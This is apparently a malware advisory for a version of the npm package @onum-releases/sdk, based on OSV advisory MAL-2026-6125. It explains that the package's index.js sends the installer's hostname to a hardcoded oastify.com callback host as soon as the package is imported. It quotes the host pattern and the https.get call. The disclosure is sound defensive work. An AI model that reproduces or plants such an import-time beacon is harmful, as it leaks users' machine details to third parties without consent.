OpenSSF/OSV malware advisory MAL-2026-6125 identifies this version as malicious and supplies the Firewall block.

OpenSSF/OSV advisory MAL-2026-6125 confirms this npm version as malicious. On import, index.js reads the installer's machine hostname via os.hostname(), embeds it as a subdomain of a hardcoded \*.oastify.com (Burp Collaborator out-of-band callback) host, and issues an HTTPS GET to that host. Specifically, index.js lines 5-7 build \`sdk.\<hostname\>.200majoeu01dk02xnjdajro1isojc90y.oastify.com\` and call \`https.get({ host: host, path: '/sdk',... })\`...

- If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.

## Public findings

### 1. High: Osv Malicious Advisory
- **Category:** External Intel
- **Confidence:** 100.0%

On import, index.js reads the installer's machine hostname via os.hostname(), embeds it as a subdomain of a hardcoded \*.oastify.com (Burp Collaborator out-of-band callback) host, and issues an HTTPS GET to that host. Specifically, index.js lines 5-7 build \`sdk.\<hostname\>.200majoeu01dk02xnjdajro1isojc90y.oastify.com\` and call \`https.get({ host: host, path: '/sdk',... })\`. The fetch fires unconditionally on \`require('@onum-releases/sdk')\` with no caller consent, leaking the installer's hostname (via both DNS and HTTPS) to whoever controls that Collaborator instance. The package's own description says 'Security PoC placeholder - benign, no runtime payload', but the shipped code does run an import-time beacon. The \`@onum-releases\` scope plus PoC framing is consistent with a dependency-confusion probe against an internal \`onum\` namespace; the harm to any installer who pulls it (intentionally or via name confusion) is host-identifier exfiltration to a third-party OAST server.
